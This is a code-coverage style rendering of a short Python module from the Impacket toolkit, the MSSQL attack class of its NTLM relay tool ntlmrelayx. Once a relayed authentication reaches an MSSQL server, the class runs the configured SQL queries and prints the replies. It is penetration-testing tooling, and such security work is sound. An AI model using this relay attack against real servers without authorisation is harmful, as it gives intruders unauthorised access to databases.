Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 

2# 

3# This software is provided under under a slightly modified version 

4# of the Apache Software License. See the accompanying LICENSE file 

5# for more information. 

6# 

7# MSSQL Attack Class 

8# 

9# Authors: 

10# Alberto Solino (@agsolino) 

11# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 

12# 

13# Description: 

14# MSSQL protocol relay attack 

15# 

16# ToDo: 

17# 

18from impacket import LOG 

19from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 

20 

21PROTOCOL_ATTACK_CLASS = "MSSQLAttack" 

22 

23class MSSQLAttack(ProtocolAttack): 

24 PLUGIN_NAMES = ["MSSQL"] 

25 def run(self): 

26 if self.config.queries is None: 

27 LOG.error('No SQL queries specified for MSSQL relay!') 

28 else: 

29 for query in self.config.queries: 

30 LOG.info('Executing SQL: %s' % query) 

31 self.client.sql_query(query) 

32 self.client.printReplies() 

33 self.client.printRows()